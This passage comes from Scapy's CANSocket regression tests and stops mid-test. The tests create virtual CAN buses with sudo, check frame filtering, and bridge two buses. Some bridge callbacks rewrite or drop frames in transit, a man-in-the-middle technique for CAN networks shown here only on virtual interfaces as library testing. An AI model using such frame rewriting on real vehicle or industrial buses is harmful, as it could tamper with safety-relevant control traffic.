len(packetsVCan1) == 6 sock0.close() sock1.close() threadSender.join(timeout=5) threadBridge.join(timeout=5) =bridge and sniff setup vcan1 package change sock0 = CANSocket(channel='vcan0') sock1 = CANSocket(channel='vcan1', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) def senderVCan0(): sleep(0.1) sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) bridgeStarted = threading.Event() def bridgeWithPackageChangeVCan0ToVCan1(): global bridgeStarted bSock0 = CANSocket(channel="vcan0") bSock1 = CANSocket(channel="vcan1") def pnr(pkt): pkt.data = b'\x08\x07\x06\x05\x04\x03\x02\x01' pkt.identifier = 0x10010000 return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, timeout=0.2, verbose=False) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithPackageChangeVCan0ToVCan1) threadBridge.start() threadSender = threading.Thread(target=senderVCan0) bridgeStarted.wait(timeout=5) packetsVCan1 = sock1.sniff(timeout=0.2, started_callback=threadSender.start, verbose=False) len(packetsVCan1) == 6 sock0.close() sock1.close() threadSender.join(timeout=5) threadBridge.join(timeout=5) =bridge and sniff setup vcan0 package change sock0 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) sock1 = CANSocket(channel='vcan1') def senderVCan1(): sleep(0.1) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) bridgeStarted = threading.Event() def bridgeWithPackageChangeVCan1ToVCan0(): global bridgeStarted bSock0 = CANSocket(channel="vcan0") bSock1 = CANSocket(channel="vcan1") def pnr(pkt): pkt.data = b'\x08\x07\x06\x05\x04\x03\x02\x01' pkt.identifier = 0x10010000 return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm21=pnr, timeout=0.2, verbose=False) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithPackageChangeVCan1ToVCan0) threadBridge.start() threadSender = threading.Thread(target=senderVCan1) bridgeStarted.wait(timeout=5) packetsVCan0 = sock0.sniff(timeout=0.2, started_callback=threadSender.start, verbose=False) len(packetsVCan0) == 4 sock0.close() sock1.close() threadSender.join(timeout=5) threadBridge.join(timeout=5) =bridge and sniff setup vcan0 and vcan1 package change in both directions sock0 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) sock1 = CANSocket(channel='vcan1', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) def senderBothVCans(): sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) bridgeStarted = threading.Event() def bridgeWithPackageChangeBothDirections(): global bridgeStarted bSock0 = CANSocket(channel="vcan0") bSock1 = CANSocket(channel="vcan1") def pnr(pkt): pkt.data = b'\x08\x07\x06\x05\x04\x03\x02\x01' pkt.identifier = 0x10010000 return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.2, verbose=False) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithPackageChangeBothDirections) threadBridge.start() threadSender = threading.Thread(target=senderBothVCans) bridgeStarted.wait(timeout=5) threadSender.start() packetsVCan0 = sock0.sniff(timeout=0.1, verbose=False) packetsVCan1 = sock1.sniff(timeout=0.1, verbose=False) len(packetsVCan0) == 4 len(packetsVCan1) == 6 sock0.close() sock1.close() threadSender.join(timeout=5) threadBridge.join(timeout=5) =bridge and sniff setup vcan0 package remove sock0 = CANSocket(channel='vcan0') sock1 = CANSocket(channel='vcan1') def senderVCan0(): sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) bridgeStarted = threading.Event() def bridgeWithRemovePackageFromVCan0ToVCan1(): global bridgeStarted bSock0 = CANSocket(channel="vcan0") bSock1 = CANSocket(channel="vcan1") def pnr(pkt): if(pkt.identifier == 0x10020000): pkt = None else: pkt = pkt return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, timeout=0.2, verbose=False) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithRemovePackageFromVCan0ToVCan1) threadBridge.start() threadSender = threading.Thread(target=senderVCan0) bridgeStarted.wait(timeout=5) threadSender.start() packetsVCan1 = sock1.sniff(timeout=0.2, verbose=False) len(packetsVCan1) == 5 sock0.close() sock1.close() threadSender.join(timeout=5) threadBridge.join(timeout=5) =bridge and sniff setup vcan1 package remove sock0 = CANSocket(channel='vcan0') sock1 = CANSocket(channel='vcan1') def senderVCan1(): sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) bridgeStarted = threading.Event() def bridgeWithRemovePackageFromVCan1ToVCan0(): global bridgeStarted bSock0 = CANSocket(channel="vcan0") bSock1 = CANSocket(channel="vcan1") def pnr(pkt): if(pkt.identifier == 0x10050000): pkt = None else: pkt = pkt return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm21=pnr, timeout=0.2, verbose=False) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithRemovePackageFromVCan1ToVCan0) threadBridge.start() threadSender = threading.Thread(target=senderVCan1) bridgeStarted.wait(timeout=5) threadSender.start() packetsVCan0 = sock0.sniff(timeout=0.2, verbose=False) len(packetsVCan0) == 3 sock0.close() sock1.close() threadSender.join(timeout=5) threadBridge.join(timeout=5) =bridge and sniff setup vcan0 and vcan1 package remove both directions sock0 = CANSocket(channel="vcan0") sock1 = CANSocket(channel="vcan1") def senderBothVCans(): sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) bridgeStarted = threading.Event() def bridgeWithRemovePackageInBothDirections(): global bridgeStarted bSock0 = CANSocket(channel="vcan0") bSock1 = CANSocket(channel="vcan1") def pnrA(pkt): if(pkt.identifier == 0x10020000): pkt = None else: pkt = pkt return pkt def pnrB(pkt): if (pkt.identifier == 0x10050000): pkt = None else: pkt = pkt return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnrA, xfrm21=pnrB, timeout=0.2, verbose=False) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithRemovePackageInBothDirections) threadBridge.start() threadSender = threading.Thread(target=senderBothVCans) bridgeStarted.wait(timeout=5) packetsVCan0 = sock0.sniff(timeout=0.1, started_callback=threadSender.start, verbose=False) packetsVCan1 = sock1.sniff(timeout=0.1, verbose=False) len(packetsVCan0) == 3 len(packetsVCan1) == 5 sock0.close() sock1.close() threadSender.join(timeout=5) threadBridge.join(timeout=5) = Delete vcan interfaces if 0 != call(["sudo", "ip", "link", "delete", "vcan0"]): raise Exception("vcan0 could not be deleted") if 0 != call(["sudo", "ip", "link", "delete", "vcan1"]): raise Exception("vcan1 could not be deleted") scapy-2.4.4/test/contrib/cansocket_python_can.uts000066400000000000000000000650021372370053500222200ustar00rootroot00000000000000% Regression tests for the CANSocket ~ vcan_socket linux needs_root # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Configuration of CAN virtual sockets = Load module ~ conf conf.contribs['CAN'] = {'swap-bytes': False} load_layer("can", globals_dict=globals()) conf.contribs['CANSocket'] = {'use-python-can': True} from scapy.contrib.cansocket_python_can import * = Setup string for vcan ~ conf command bashCommand = "/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'" = Load os ~ conf command import os import threading from subprocess import call = Setup vcan0 ~ conf command 0 == os.system(bashCommand) = Define common used functions send_done = threading.Event() def sender(sock, msg): if not hasattr(msg, "__iter__"): msg = [msg] for m in msg: sock.send(m) send_done.set() + Basic Packet Tests() = CAN Packet init canframe = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') bytes(canframe) == b'\x00\x00\x07\xff\x08\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08' + Basic Socket Tests() = CAN Socket Init sock1 = CANSocket(bustype='socketcan', channel='vcan0') sock1.close() del sock1 sock1 = None = CAN Socket send recv small packet sock1 = CANSocket(bustype='socketcan', channel='vcan0') sock2 = CANSocket(bustype='socketcan', channel='vcan0') thread = threading.Thread(target=sender, args=(sock2, CAN(identifier=0x7ff,length=1,data=b'\x01'), )) thread.start() send_done.wait(timeout=1) send_done.clear() rx = sock1.recv() sock1.close() sock2.close() rx == CAN(identifier=0x7ff,length=1,data=b'\x01') = CAN Socket send recv small packet test with with CANSocket(bustype='socketcan', channel='vcan0') as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: thread = threading.Thread(target=sender, args=(sock2, CAN(identifier=0x7ff,length=1,data=b'\x01'),)) thread.start() send_done.wait(timeout=1) send_done.clear() rx = sock1.recv() rx == CAN(identifier=0x7ff,length=1,data=b'\x01') = CAN Socket send recv ISOTP_Packet from scapy.contrib.isotp import ISOTPHeader, ISOTP_FF with CANSocket(bustype='socketcan', channel='vcan0') as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: thread = threading.Thread(target=sender, args=(sock2, ISOTPHeader(identifier=0x7ff)/ISOTP_FF(message_size=100, data=b'abcdef'),)) thread.start() send_done.wait(timeout=1) send_done.clear() rx = sock1.recv() rx == CAN(identifier=0x7ff,length=8,data=b'\x10\x64abcdef') = CAN Socket basecls test with CANSocket(bustype='socketcan', channel='vcan0') as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: thread = threading.Thread(target=sender, args=(sock2, CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08'),)) thread.start() sock1.basecls = Raw send_done.wait(timeout=1) send_done.clear() rx = sock1.recv() rx == Raw(bytes(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08'))) = CAN Socket send recv with CANSocket(bustype='socketcan', channel='vcan0') as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: thread = threading.Thread(target=sender, args=(sock2, CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08'),)) thread.start() sock1.basecls = CAN send_done.wait(timeout=1) send_done.clear() rx = sock1.recv() rx == CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') = CAN Socket send recv swapped conf.contribs['CAN']['swap-bytes'] = True with CANSocket(bustype='socketcan', channel='vcan0') as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: thread = threading.Thread(target=sender, args=(sock2, CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08'),)) thread.start() sock1.basecls = CAN send_done.wait(timeout=1) send_done.clear() rx = sock1.recv() rx == CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') conf.contribs['CAN']['swap-bytes'] = False = sniff with filtermask 0x7ff msgs = [CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}]) as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: thread = threading.Thread(target=sender, args=(sock2, msgs,)) thread.start() send_done.wait(timeout=1) send_done.clear() packets = sock1.sniff(timeout=0.1) assert len(packets) == 3 = sniff with filtermask 0x700 msgs = [CAN(identifier=0x212, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x2ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x1ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x2aa, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x700}]) as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: thread = threading.Thread(target=sender, args=(sock2, msgs,)) thread.start() send_done.wait(timeout=1) send_done.clear() packets = sock1.sniff(timeout=0.1) assert len(packets) == 4 = sniff with filtermask 0x0ff msgs = [CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x301, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x1ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x700, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0xff}]) as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: thread = threading.Thread(target=sender, args=(sock2, msgs,)) thread.start() send_done.wait(timeout=1) send_done.clear() packets = sock1.sniff(timeout=0.1) len(packets) == 4 = sniff with multiple filters msgs = [CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x400, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x500, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x600, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x700, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x7ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff}, {'can_id': 0x7ff, 'can_mask': 0x7ff}]) as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: thread = threading.Thread(target=sender, args=(sock2, msgs,)) thread.start() send_done.wait(timeout=1) send_done.clear() packets = sock1.sniff(timeout=0.1) assert len(packets) == 4 = sniff with filtermask 0x7ff msgs = [CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}]) as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: thread = threading.Thread(target=sender, args=(sock2, msgs,)) thread.start() send_done.wait(timeout=1) send_done.clear() packets = sock1.sniff(timeout=0.1) assert len(packets) == 4 = sniff with filtermask 0x1FFFFFFF msgs = [CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x10000000, 'can_mask': 0x1fffffff}]) as sock1, \ CANSocket(bustype='socketcan', channel='vcan0') as sock2: thread = threading.Thread(target=sender, args=(sock2, msgs,)) thread.start() send_done.wait(timeout=1) send_done.clear() packets = sock1.sniff(timeout=0.1) assert len(packets) == 2 + bridge and sniff tests = bridge and sniff setup vcan1 package forwarding bashCommand = "/bin/bash -c 'sudo ip link add name vcan1 type vcan; sudo ip link set dev vcan1 up'" 0 == os.system(bashCommand) sock0 = CANSocket(bustype='socketcan', channel='vcan0') sock1 = CANSocket(bustype='socketcan', channel='vcan1') def senderVCan0(): sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) bridgeStarted = threading.Event() def bridge(): global bridgeStarted bSock0 = CANSocket( bustype='socketcan', channel='vcan0', bitrate=250000) bSock1 = CANSocket( bustype='socketcan', channel='vcan1', bitrate=250000) def pnr(pkt): return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridge) threadBridge.start() threadSender = threading.Thread(target=senderVCan0) bridgeStarted.wait() packetsVCan1 = sock1.sniff(timeout=0.5, started_callback=threadSender.start) assert len(packetsVCan1) == 6 sock1.close() sock0.close() threadBridge.join() threadSender.join() = bridge and sniff setup vcan0 package forwarding sock0 = CANSocket(bustype='socketcan', channel='vcan0') sock1 = CANSocket(bustype='socketcan', channel='vcan1') def senderVCan1(): sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x80, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) bridgeStarted = threading.Event() def bridge(): global bridgeStarted bSock0 = CANSocket(bustype='socketcan', channel='vcan0') bSock1 = CANSocket(bustype='socketcan', channel='vcan1') def pnr(pkt): return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridge) threadBridge.start() threadSender = threading.Thread(target=senderVCan1) bridgeStarted.wait() packetsVCan0 = sock0.sniff(timeout=0.3, started_callback=threadSender.start) len(packetsVCan0) == 4 sock0.close() sock1.close() threadBridge.join() threadSender.join() =bridge and sniff setup vcan0 vcan1 package forwarding both directions sock0 = CANSocket(bustype='socketcan', channel='vcan0') sock1 = CANSocket(bustype='socketcan', channel='vcan1') def senderBothVCans(): sock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x20, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x20, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x30, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x80, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) bridgeStarted = threading.Event() def bridge(): global bridgeStarted bSock0 = CANSocket(bustype='socketcan', channel='vcan0') bSock1 = CANSocket(bustype='socketcan', channel='vcan1') def pnr(pkt): return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridge) threadBridge.start() threadSender = threading.Thread(target=senderBothVCans) bridgeStarted.wait() packetsVCan0 = sock0.sniff(timeout=0.3, started_callback=threadSender.start) packetsVCan1 = sock1.sniff(timeout=0.3) len(packetsVCan0) == 4 len(packetsVCan1) == 6 sock0.close() sock1.close() threadBridge.join() threadSender.join() =bridge and sniff setup vcan1 package change sock0 = CANSocket(bustype='socketcan', channel='vcan0') sock1 = CANSocket(bustype='socketcan', channel='vcan1', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) def senderVCan0(): sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) bridgeStarted = threading.Event() def bridgeWithPackageChangeVCan0ToVCan1(): global bridgeStarted bSock0 = CANSocket(bustype='socketcan', channel='vcan0') bSock1 = CANSocket(bustype='socketcan', channel='vcan1') def pnr(pkt): pkt.data = b'\x08\x07\x06\x05\x04\x03\x02\x01' pkt.identifier = 0x10010000 return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, timeout=0.5, started_callback=bridgeStarted.set) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithPackageChangeVCan0ToVCan1) threadBridge.start() threadSender = threading.Thread(target=senderVCan0) bridgeStarted.wait() packetsVCan1 = sock1.sniff(timeout=0.3, started_callback=threadSender.start) len(packetsVCan1) == 6 sock0.close() sock1.close() threadBridge.join() threadSender.join() =bridge and sniff setup vcan0 package change sock1 = CANSocket(bustype='socketcan', channel='vcan1') sock0 = CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) def senderVCan1(): sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) bridgeStarted = threading.Event() def bridgeWithPackageChangeVCan1ToVCan0(): global bridgeStarted bSock0 = CANSocket(bustype='socketcan', channel='vcan0') bSock1 = CANSocket(bustype='socketcan', channel='vcan1') def pnr(pkt): pkt.data = b'\x08\x07\x06\x05\x04\x03\x02\x01' pkt.identifier = 0x10010000 return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithPackageChangeVCan1ToVCan0) threadBridge.start() threadSender = threading.Thread(target=senderVCan1) bridgeStarted.wait() packetsVCan0 = sock0.sniff(timeout=0.3, started_callback=threadSender.start) len(packetsVCan0) == 4 sock0.close() sock1.close() threadBridge.join() threadSender.join() =bridge and sniff setup vcan0 and vcan1 package change in both directions sock0 = 